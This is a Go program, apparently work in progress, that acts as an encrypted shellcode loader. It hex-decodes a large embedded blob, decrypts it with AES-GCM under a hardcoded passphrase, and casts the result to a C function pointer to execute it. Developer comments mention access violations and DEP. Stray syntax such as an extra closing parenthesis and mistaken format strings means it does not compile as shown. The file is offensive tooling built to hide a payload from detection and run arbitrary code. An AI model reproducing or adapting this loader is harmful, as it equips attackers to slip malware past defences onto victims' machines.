
package main
/*
call(char *code) {
    int (*ret)() = (int(*)())code;
    ret();
}
*/
import "C"
import "unsafe"
import (
	"crypto/aes"
	"crypto/cipher"
	"crypto/md5"
	"encoding/hex"
	"io/ioutil"
	"fmt"
)
func createHash(key string) string {
	hasher := md5.New()
	hasher.Write([]byte(key))
	return hex.EncodeToString(hasher.Sum(nil))
}

func decrypt(data []byte, passphrase string) []byte {
	// Does not require a IV like AES-CBC
	// unhashes the decryption password by comparing hashes
	key := []byte(createHash(passphrase))
	block, err := aes.NewCipher(key)
	if err != nil {
		panic(err.Error())
	}
	gcm, err := cipher.NewGCM(block)
	if err != nil {
		panic(err.Error())
	}
	nonceSize := gcm.NonceSize()
	nonce, ciphertext := data[:nonceSize], data[nonceSize:]
	plaintext, err := gcm.Open(nil, nonce, ciphertext, nil)
	if err != nil {
		panic(err.Error())
	}
	return plaintext
}

func decryptFile(filename string, passphrase string) []byte {
	// Reads and decrypts and returns a string, which is what we don't want
	data, _ := ioutil.ReadFile(filename)

	return decrypt(data, passphrase)
}

func main() {
	dat := "36bd5eec2c2a56be7aa5577691e80f3692d6875764729bf91c5e6d66927dd9e473d8da112a8dbbb5cbe2ec2847ed4b10a316341da46d48bf189d2bdf14b6cab5272cfe6f4e1d5245ee763dd5ad785a13bb4cebe238e70257af8d95e4c204d7ef3c208fd72067953b1bf10a830d85adbb5608152cf74c00c11952af807640a55b712aa784de9313445bb40dd4b6db821596bfff67784fe621e667c14ed5e5b0371fa953e7c7b196f2ecc17d315dd631d0e42c1d34226eaf19de9e749053cb2cc0a54761abd033c04ea797292e0318441ed8b3865e06461b736db675392e8108d3e1da095d96cdb12427388c5aec892ef3f913518b058b2f64d0d04c9ddd055754a073a90d90cedfd551eaac2e1e6370f905f31f06c9346e61618aeb14748180ac242b368027ea8a2daeac2f98a469af84db13f3bfd1aafc26154631002a0fa6d855eed452b10dedd6ba3abc511e149ee2ae75c43312c5e49e92a74daee676a9747d60511fe2894161a58c9beda6e7899c5319ece5384a76ebd4b83891a66ac0c1f2c86b2856dfc35334787a360601ef7ebbd79656454ad4ad85dab495e647eb5dd52695171691d35dfb7e29f4904c89ea0a253884b421ef6f6eff94b7b9cdc923c7d1570479141644d3bac0c2a6e4cddd161b0d111d4e1fe4da2a46327fa6f08769217745e51dace3b6f46e7188493645210efb8866b6fef039f1ff5d61a61bf3f7abee021ff51312063da70b5c31abebf1a339c91893b4d82ee714d61f0be016c6559ecf91b9d7453a1feea8bafd90a0face6b2dbcacff2ff703ab3e2f68f2dc45f0cd74a69caa0c9a71e8828b74ba0ece6adb22e31133b03bf81e20da999c7f21d0d489c443429d96fa76646c2d7c25d328752429037183fa6f6664c8ccadaf5cb53af3145a5e806114534b66f6e151f47d64acd7b26aa712162626e48336b77f0402a79a9fa181e7d223979da656b08c14c041486d9d00a0a9d94fae31365cb1dda25a56233c10b20a13b4659d006e4a408d99848706df0fcaff2ee1f43f26c6d8d9b41afebafc3b182109a1471b2d18b0b7215a91d23ea14b6e6f51b155fff6fc0e48b28405c31c047af518cb7dd0d01d00d08d465ac186bd727dcd61e6545f0413c2118426c8960930289dc21ae7858076c6309c0cb9367d04617b4ef91880ead6589cc8d229353de0605ad6fb6d053bf76f9299786b888915bb2b7bbb9a5c3c4d328f5ffd8445158b749270eecb626d4ec5fca2134e3aaa8a0fc6762fddc16e2155bd06fb12e1f871bc8eb4971fa3051afa42404f868ee6ba60e4d027fbd0a206c3b78f776d52a74524e5bbf06baf79efeff5b77ef653865e7d5e0e56a87bed5c117dfe11db021e5053fa60273703e1053e61c6458864205ee6342537896b8d19a3f6291db7a8b7ecdbed69d40f121491ac20ee308f5ea3abedcded43aa25f9a9cc6a67edc897d8290a8985b7c4e357b94510508f4b7656a6d988d614da18ca09a1d41057ab3db99ccbfcd4a9377b9d63aac171962240467609f5542f5cace1fd34635d8295afea07291b78b8f0d381f9c221b093e01d61ddd0070d7e959c0709dbbd9566a3b19db0657f1640808a24f6a994f24102d98946d12ff6bee91791826b04eea1bdc2c39ec3451763aef08a8e77dc37ba6098a64dc402322b33d80e9ef51ad716b1d3651656859dd538deb26fea49890028a8794683625533217c48561793dd989035331f71778f33fa47e651129a888a9d5e3f0ad0ebe1ee2789abd87711243fac65b65b0760ab7216a0463a3c45621ff28046d31cd14a0c7e4ea2e03ed451c01602d9ca09e89095439f2454b39f8c8204a7cd930d65ec1f9d8247a1f8c93c73a0c9cb1d4738f6adacb29f4fccb6f7f623cdb4a27e156a0df45cb7e52868ea06e27acbcaef3718807ec7ed97a8bd7734ee27b30e4d5934ac8d96b57c0cbe95db4839366d4af5bd31afec1348364f8cf010b2ec143377a3746d8550bc6d5bb21169eeef2da56e0945aa396fea0569928577987a82821f4075627cd4e0b63d6d2a05a43f42a0f1af3481505f2a9241390cb7cde2488a2f3d61b63b9bc5554d48235c7e26aacca890009d0076a15d330506fadc700a98de4c80b9a00fc751fda74be3398136ec271964b54a5d54d2fe7f6f962282a6f68abfc1e4a5e309628083001be0b5fac4b0d2023980fa8a49b2409834748c6285ee0af99b4926376fa0886acd2c421ddd3169a18db112634b98390219e674e1301e943c7a4e8f81c5c79b83d5ef17a829a581da7bf5cb54410b299ba10eee1ae2edf46a046ce142b89a0f5e9e8f21f4e4d0e11e578b94ed8bd50ac3e67bc53eef56b085027161c464f205ef7fda2af230efcdb25ea89af3e0787c89f68f801e0cdd6ab1e5f6e2b44634010ea04d9c82141b84b2110330367a549968ee08bbc25b86c305ecebe2e23726f7ecbb1817ee64eab0b79e7fd14f0112a651120b97f2314daf18345c282aa3f7afc84b462c3e366bf8fc3e2382dc1ede612669cc9c99d25fd9665641707ebcb5752db52b26efcc3aaf23af58ad791f11f6608d32d3d2fe47022ecea22de76cd2cc8b9802ede6683fd736ab07d520c453bb0478bcf8c4ca5fbf5eae195d5f93a4b31c5dd571b248f2fcd10cc155f2ec956b7f578b53205991456f586deb05c01d5e7a3f02f1f2a288ee69d4cfdb3207517811b90c42cce9e173058fbc685b02d1c0b6827b81551a36e1850567cccef321a657c324abba8c0a6ac638cd90f9352c959b5b62bcc3241b3096abbe1067d4505a57301eae54e18cf25499f364191ffd04efc56be04515fba9147e069bf932732a60739ddc0afd575264b9a8a1827bc8827945d3a03e743739f0cc545a5d444c7ac86d9a3b9b5611a1e0a11307c85993c0e1a67f59b1c1a01ff3c312fa5ff26d1fa4ed83c514e9e21892e29ed69de30fa6f06f36527630cca3ab7300ba5a5add922b3f52fe1cdc98c77ef1009b21d842896583603e49d820399e1dbfedbf90a9d5d68422f1133d9bb920e9bf9baff968cb27d4a02f07a62672a918826dc1476446ace64f4dee40a1ecfcacf6769d3be53388fc5fbe72cde1342690e2f259e3abbe3eccb8d81d84a93290fd05a4c2453cbeda8263a2a260d59df24c64e16ae3ffd8732597ac253e4fe7fa8e54b395736057cf3a76f8ebfb77de30b5d373d322fa7e31e3da8716040fb35134f36cc161ab0f1ac8920d0da8ffb92bbf59ea96e17bce66516d600faba338da5e9a465bd47f9f150aafa31ffd3332fc77d668b68478ee73d860818d9850aa379901cf5ba7334c4f1fc153793d80a47f2b9affcaf0914f5d8e8aebdd40bc8ea33ad7dc7f074541954d65b0525134cff78a00f1a8f2d31d51b3fa07caf10db561befd2594e2006a520c537a9fd54577d89a35868bd7509ed9c69a2d4a295a0d8396b685cff88ba700d45c6480b3f977804610ab461ea29b69c3ae998257300699c93250a9266a3a8eff4bef79b73eb285769d4494dac38d562391d270078adb04a7680d3de0a80cb45f3b11bb3b646642cbdacd064a235f56f85cf4067a4f73e53271ce240648554f3c0168ad46ae2f826f9dcdd515f2a20a13da6cd9a520b6e37a9898919c7c6bf91db1aaab0d39fa38742232501219db52b133b418f1c3391a7ca5484928e0e7704287cb6f16e129d0b3777e4d8e402f17c075a1f7e3b2adde0b63891a2e48013d8d147397296b6525a7f8cac1b70cff7ecc9756a5f0c190fbb8c83a80ae75afb02b77996b9dbf10a25522ece682a14c3d6b90aee7c2ce51d2b94f00b2e6b01db2444b9316bd707dec45bce4a53dd08fcf05a3596a485872aed9ad26edd5220c9390c6f37d921d25e73a16f98716b0eecb759363a66d1e5b59d3c53a5afd2b2e3c7221bcbebd14c1b9a1f310004f899fb8ea5b6eb4b4d005c4dee6358e2d1bbfb3e9d809bf543abcb8e7b8053e59d14a2a62466d9fe9ed88e06b944bc3b223d00bf561110706822152bbd16fcdad818f90888e9d46d1510683dbefdbf7214a302e817e03903e5bc856a3383811aca22ac9a920b6ae134b0ac18840ccb4b378ea47c053abc871f0c678f29481e631ee10c6fd0f3530efe5c74752d2eb0fd8357ec5fb64e10cef515e73e2aae6192920b16c7976ec5ec38db36fe9723aaf1f1e3cfeda58d89a03b9879e921d8507c696655cf7ad609e30e8b18795712854e061ce4a3714ecd6082bba1a0a4883bf1b38bef356f8e13a7c455452f708c3ce39d7e08058bfc8795a33eac85f49e2c2fe998b01e5c6c8dc53d2dc77eece1d481ea977251baa366501082783e0c5584eb96e886d6926c89748c22414a65d3a7d747cca6dc7542db0c33c0823075860e8a596b99f1667e20f89444cbcd4c975a6093030e9a04d3403857477421c7ff684f64961d886c3e3101cc192513f466d55a051da084694d48f88a762792510fc622fea6bd5ca0367fdbbf0588408327f894435a488b91022bd0c302fa5f3884e7a78e964971c883507119d1cb8ae3540dc1eed43a8453dd923ecf9a0f9ba153f4f448b005ff9c6d92b7abe46bd2e6396d75cca49652fc3ce127b3139624a833063f0a87c52cf6c2fd9362a36696be743bd145beda8e7f2ccc691ad2126fca2ac8b7649bf78ca51d6a512438de1528a1d71098012e6543b36b5feaa037f56e4222cc98896ebaab1432372af8de6b29d681392f691ecf4996a240875cb1dc89a098b25bb6bd898966553926027e62e387e7801daec9b2ecb61fb2af97eaec9338724f5da26dddbd58f5830dbd3181990ab1b88f9ea969dac5ff2042d59f72685e651e81043ae0e51799b40d2a955cc77b4cf560d6afafbfd4e82fd5b85a8751ddeed35c735bc03510d6ebde5b56a0665e237f0129e6a814052d54e12d085b91dfb8b1a261aa11a574f7593ae709a8d412d9394b323fd346b0dedbe9a1ff039a776d27b5228d9e0e4a7d0eb0dde77dbd367377693829089ab0d4059c3ce22fc26c98980807c4e456fb6c503f9f11700eabfb5bfbf5c1c30e36ac5e6b6b23ce5352e818df960910079eecfa886e13c78e5c1655ecf5723ed97716064a6dcd7e6c317bfd849db1aac3c5d524580ebb9d5866ba46ee24225923b6eb0ee00406f799c68b02f87c80f8b3abd21895132c6a736a3ecbeb5121e826ef87dcbf2dc8d39bca22906ad41450eee102ad738622c57bb6b70ff3c528e64e4629bf175455fa7bcfa8c0e727d9540907935eefa14e8620fc7f361544461351d36c13439babefc59e805b448386a4c"
	decodedDat, err := hex.DecodeString(dat)
	if err != nil {
		fmt.Printf("#{err}")
	}
	decryptedDat := decrypt([]byte(decodedDat), "asdjsaipdjsapid")
	/*Shellcode is correctly decrypted*/
	fmt.Printf("Debug: Shellcode\r\n%s", decryptedDat)
	// Note: After the decryption process, we need to just add it as a string here, and have this function typecast it into bytes.
	var shellcode = []byte(decryptedDat)
/*
Now we are hitting access violations. exit status 0xc0000005, check for DEP in WinDBG
*/
	result, err := C.call((*C.char)(unsafe.Pointer(&shellcode[0])))
	if err != nil {
		fmt.Println("Error Detected!")
		fmt.Printf("#{err}")
	} else {
		fmt.Println("Shellcode Executed")
		fmt.Printf("%s", result)
	}
)
}